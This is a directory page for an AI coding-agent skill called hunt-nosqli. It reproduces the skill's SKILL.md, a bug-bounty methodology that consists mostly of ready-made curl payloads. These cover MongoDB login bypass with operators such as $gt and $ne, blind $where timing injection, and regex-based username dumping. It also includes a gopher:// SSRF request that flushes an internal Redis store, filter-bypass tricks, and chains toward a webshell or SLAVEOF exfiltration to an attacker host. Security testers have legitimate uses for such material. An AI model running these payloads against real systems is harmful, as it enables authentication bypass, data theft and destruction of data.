Skip to main content
skill CX Codex

hunt-nosqli — Claude Code skill: what it does, how to install

hunt-nosqli helps detect NoSQL injection flaws in MongoDB, CouchDB, and Redis. It assists developers and testers during API security reviews and auth auditing.

MIT ★ 16,193 updated 2026-10-29

Install into Claude Code · Plugin marketplace All methods and platforms ↓
/plugin marketplace add elementalsouls/Claude-BugHunter
/plugin install claude-bughunter@elementalsouls
Open on GitHub

What hunt-nosqli does

The skill outlines a methodology for uncovering NoSQL injection vulnerabilities. It focuses on authentication bypasses via $gt or $ne operators, blind $where script evaluation, and query syntax breakout. Additional vectors address Redis access via SSRF and legacy Elasticsearch script execution.

Workflow steps move from manual curl requests to character-level regex extraction. It acts as a testing checklist. For automated scanning, the guide requires nosqlmap installed via pip3. Automated extraction steps will fail without this tool.

What it helps with

  • Test MongoDB login endpoints for operator injection bypasses
  • Detect blind $where script injection using time-delay tests
  • Enumerate usernames character by character using $regex patterns
  • Probe internal Redis services through SSRF via the gopher:// protocol

Example prompts for the agent

  • Check the /api/login endpoint for MongoDB operator injection in auth
  • Test the q query parameter for blind $where time-based injection
  • Run nosqlmap against https://$TARGET/api/login to test for injection

How to install hunt-nosqli

1Plugin marketplace

/plugin marketplace add elementalsouls/Claude-BugHunter
/plugin install claude-bughunter@elementalsouls

This installs the whole claude-bughunter plugin with all its skills

2Skills CLI (Vercel)

npx skills add elementalsouls/Claude-BugHunter --skill hunt-nosqli -a claude-code

3Manually: put the files in place

~/.claude/skills/hunt-nosqli/SKILL.md

Copy the whole skill folder; for one project use .claude/skills/hunt-nosqli/

Step by step, with commands for each platform: How to install skills in Claude Code: five ways

Questions about hunt-nosqli

How to install hunt-nosqli in Claude Code?

Run the /plugin marketplace add elementalsouls/Claude-BugHunter command, then execute /plugin install claude-bughunter@elementalsouls.

What does hunt-nosqli test?

It identifies injection vectors across MongoDB, CouchDB, and Redis databases. The skill guides checks for authentication bypasses with JSON operators, arbitrary JavaScript in $where, and data leaks.

What external tools are needed for hunt-nosqli?

Manual testing uses standard curl commands. For automated scanning and data extraction, you must install the scanner using pip3 install nosqlmap.

Source text

SKILL.md · MIT
---
name: hunt-nosqli
description: Hunt NoSQL Injection — MongoDB operator injection ($where, $regex, $gt, $ne), CouchDB, Redis command injection, auth bypass via NoSQLi, data dump. Use when target uses MongoDB/Mongoose, CouchDB, Redis, or shows NoSQL error messages.
sources: hackerone_public
report_count: 14
---

# HUNT-NOSQLI — NoSQL Injection

## Crown Jewel Targets

NoSQL injection is most valuable when it bypasses authentication (Critical) or leaks the entire user collection (High).

**Highest-value chains:**
- **MongoDB auth bypass** — `{"username": {"$gt": ""}, "password": {"$gt": ""}}` logs in as first user in collection (usually admin)
- **$where JS injection** — if $where is enabled: blind injection → data exfil
- **Redis command injection** — via SSRF or direct TCP, SLAVEOF attacker-ip → config write → webshell
- **Elasticsearch injection** — _search endpoint with Groovy script injection (pre-5.0) → RCE

---

## Attack Surface Signals

### URL & Param Patterns
```
/api/users/login         POST with JSON body
/api/search?q=
/api/find?filter=
/api/query?where=
Any endpoint accepting JSON body with username/password
```

### Stack Signals
| Signal | Vector |
|--------|--------|
| MongoDB error messages in response | Operator injection |
| mongoose / monk in JS bundles | ODM patterns |
| X-Powered-By: Express | Node.js + MongoDB common stack |
| CouchDB/_utils UI exposed | Futon/Fauxton admin |
| Redis port 6379 open (via SSRF) | CONFIG SET / SLAVEOF |
| Elasticsearch :9200 open | Script injection |

---

## Step-by-Step Hunting Methodology

### Phase 1 — Auth Bypass (MongoDB)
```bash
# Operator injection in JSON body
curl -s -X POST https://$TARGET/api/login \
  -H "Content-Type: application/json" \
  -d '{"username": {"$gt": ""}, "password": {"$gt": ""}}'

# Regex wildcard — match any username
curl -s -X POST https://$TARGET/api/login \
  -H "Content-Type: application/json" \
  -d '{"username": {"$regex": ".*"}, "password": {"$regex": ".*"}}'

# ne (not equal) bypass
curl -s -X POST https://$TARGET/api/login \
  -H "Content-Type: application/json" \
  -d '{"username": "admin", "password": {"$ne": "wrong"}}'

# in array bypass
curl -s -X POST https://$TARGET/api/login \
  -H "Content-Type: application/json" \
  -d '{"username": {"$in": ["admin","administrator","root"]}, "password": {"$ne": "x"}}'
```

### Phase 2 — URL Parameter Injection
```bash
# Array notation (Express/PHP-style)
curl "https://$TARGET/api/users?username[$gt]=&password[$gt]="
curl "https://$TARGET/api/search?q[$regex]=.*&q[$options]=i"

# POST form data
curl "https://$TARGET/api/login" \
  --data "username[$gt]=&password[$gt]="
```

### Phase 3 — $where Blind Injection (time-based)
```bash
# Test if $where is enabled (time-based detection, 5s delay)
curl -s -X POST https://$TARGET/api/search \
  -H "Content-Type: application/json" \
  -d '{"q": {"$where": "function(){var d=new Date();while(new Date()-d<5000){}; return true;}"}}'
# If response takes 5+ seconds → $where injection confirmed

# Blind data exfil (username starts with 'a'?)
curl -s -X POST https://$TARGET/api/search \
  -H "Content-Type: application/json" \
  -d '{"q": {"$where": "function(){if(this.username.match(/^a/)){sleep(3000);} return true;}"}}'
```

### Phase 3b — Syntax injection into a concatenated `$where`/query (string context)
When the app concatenates input into a JS `$where` STRING (`"this.name=='"+input+"'"`) instead of accepting an operator object, break the string rather than passing `$gt`/`$ne`. Fuzz first, then break:
```
fuzz:  ' " ` { ; $         # any 500/behaviour change = syntax reaches the query
' || '1'=='1               # always-true (string-context breakout)
' && this.password.match(/^a/) || 'x'=='y   # boolean char-exfil oracle
```
(PortSwigger: Injecting syntax into NoSQL queries.)

### Phase 4 — Data Dump via Regex
```bash
# Enumerate usernames character by character
for c in a b c d e f g h i j k l m n o p q r s t u v w x y z; do
  RESP=$(curl -s -X POST https://$TARGET/api/users \
    -H "Content-Type: application/json" \
    -d "{\"username\": {\"\$regex\": \"^$c\"}}")
  echo "$c: $(echo $RESP | wc -c)"
done
```

### Phase 5 — Automation
```bash
# nosqlmap
pip3 install nosqlmap
nosqlmap -u "https://$TARGET/api/login" --attack 1

# nosqlmap data extraction
nosqlmap -u "https://$TARGET/api/login" --attack 2
```

### Phase 6 — Redis via SSRF
```bash
# If SSRF found, probe internal Redis via gopher://
curl "https://$TARGET/fetch?url=gopher://127.0.0.1:6379/_*1%0d%0a%248%0d%0aflushall%0d%0a"

# CONFIG SET webshell (if Redis has write access to web root)
# Use SLAVEOF for OOB data exfil
```

---

## Bypass Table

| Defense | Bypass |
|---------|--------|
| JSON.parse rejects objects | Use array: `password[$ne]=x` (URL params) |
| Sanitizes `$` | Unicode: `$gt` |
| Blocks operator keys | Nested objects deeper in structure |

---

## Chain Table

| NoSQLi finding | Chain to | Impact |
|---------------|----------|--------|
| Auth bypass | Admin panel access | Full admin control |
| User enum via regex | Credential stuffing | Mass ATO |
| $where enabled | Arbitrary JS in DB process | Data exfil or DoS |
| Redis via SSRF | CONFIG SET / SLAVEOF | Webshell or data exfil |

---

## Validation

✅ Auth bypass: logged in without valid credentials, received valid session token
✅ Data dump: returned users/documents you shouldn't have access to
✅ Blind injection: confirmed via time-delay (>4 seconds consistent)

**Severity:**
- Auth bypass as admin: Critical
- User collection dump: High
- Blind injection (no useful exfil): Medium

© Sachin Sharma · MIT · elementalsouls/Claude-BugHunter

Similar skills

All skills for Security →

From the same set92

The whole set →
hunt-clickjacking hunt-clickjacking is a Claude Code skill that checks whether a page can be framed and used to trigger a sensitive action. It investigates clickjacking in web applications. CX Codex +1 ★ 16,193repo stars hunt hunt dispatches vulnerability assessments across Red Team and WAPT workflows with scope boundaries. CX Codex +1 ★ 16,193repo stars token-scan token-scan — a Claude slash command that hunts rug-pull vectors in token and meme coin contracts on Solidity and Solana. Useful before you buy an unknown token or ship your own. CX Codex +1 ★ 16,193repo stars chain Takes a confirmed bug A and finds B and C to combine into a higher-severity chain. For bug hunters stuck with Low or conditionally valid findings. CX Codex +1 ★ 16,193repo stars hunt-forgot-password The hunt-forgot-password skill checks account recovery flows for token leaks, replay, and missing request limits. Use it when auditing a password reset feature. CX Codex +1 ★ 16,193repo stars hunt-deserialization hunt-deserialization — a skill for hunting deserialization bugs in Java, PHP, Python, .NET and Ruby. Tests ysoserial gadget chains, PHP object injection, pickle RCE, BinaryFormatter and Log4Shell. CX Codex +1 ★ 16,193repo stars hunt-captcha-bypass hunt-captcha-bypass is a Claude Code skill that tests web forms and API endpoints for CAPTCHA bypass flaws during security audits of login and registration routes. CX Codex +1 ★ 16,193repo stars web3-audit The web3-audit command checks smart contracts against ten bug classes and helps turn a confirmed issue into a Foundry test. Use it for a structured first pass over Solidity code. CX Codex +1 ★ 16,193repo stars

Project sponsors

Companies that keep this analytics open